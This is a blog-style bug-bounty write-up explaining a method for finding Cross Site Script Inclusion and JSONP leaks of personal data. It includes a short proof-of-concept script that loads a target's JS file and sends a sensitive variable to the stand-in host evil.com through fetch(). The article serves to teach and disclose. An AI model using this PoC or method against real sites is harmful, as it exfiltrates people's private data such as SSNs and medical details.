Effortlessly finding Cross Site Script Inclusion (XSSI) & JSONP for bug bounty

Hey everyone, I recently reported a dupe for a XSSI bug on a private program which paid out $300, to the original reporter. I believe the reporter is underpaid since serious information was leaked ¯\_(ツ)_/¯, & decided to share the methodology I followed.

tl;dr (also read important notes at the bottom)

Methodology cheat sheet
Methodology cheat sheet
Cheat sheet or something idk lol

Good reads, in case you’re new to XSSI/JSONP:
XSSI: https://www.scip.ch/en/?labs.20160414
JSONP: https://www.sjoerdlangkemper.nl/2019/01/02/jsonp

My Methodology:

  • After spidering the website (manual & automated), I filtered the results in Burp suite by MIME type, then skim through the responses of type “script” for sensitive information.
Filtering by MIME type
  • I found a JS file which includes all the information that I filled in when signing up for an insurance policy. This included SSN, limited medical history, visa info, name, phone number, DOB, address etc. Yikes.
  • I look at the HTTP GET request for the JS file to make sure that it doesn’t require CORS triggering headers like:
    Authorization, X-API-KEY, X-CSRF-TOKEN, X-whatever
  • At this stage if it does have CORS headers then, the attack will fail, unless I also find a CORS issue.

In this case, no special headers were needed, so I could include the JS file on a web page with a script tag and send it to any server leaking some serious PII, with the POC being similar to:

<script src="https://target.com/vuln.js">
</script>
<script defer>
// var_name is a variable in vuln.js holding sensitive information
console.log(var_name);
// sending information to an attacker controlled server
fetch("https://evil.com/stealInfo?info="+var_name);
</script>

You can use the same way to find JSONP callbacks by appending parameters like callback=some_function, jsonp=blah on all paths that return sensitive information.

Important Notes:

  • If the response has Content-Type: application/json but the body has JSONP/javascript, and the X-Content-Type-Options: nosniff header is NOT in the response, the exploit still WORKS.
  • For JSONP, different callback parameters might work on different endpoints even on the same website.
    Example:
    https://target.com/profile_info?callback=test→ no JSONP
    https://target.com/profile_info?jsonp=test→ returns JSONP
    But, on a different path on the same site:
    https://target.com/account_info?jsonp=test→ no JSONP
    https://target.com/account_info?jsoncallback=test→ returns JSONP

Feedback and constructive criticism are appreciated, thanks for reading!


InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew

Omkar Bhagwat (th3_hidd3n_mist)

Written by

New bug bounty hunter, old gamer and anime fan.

InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade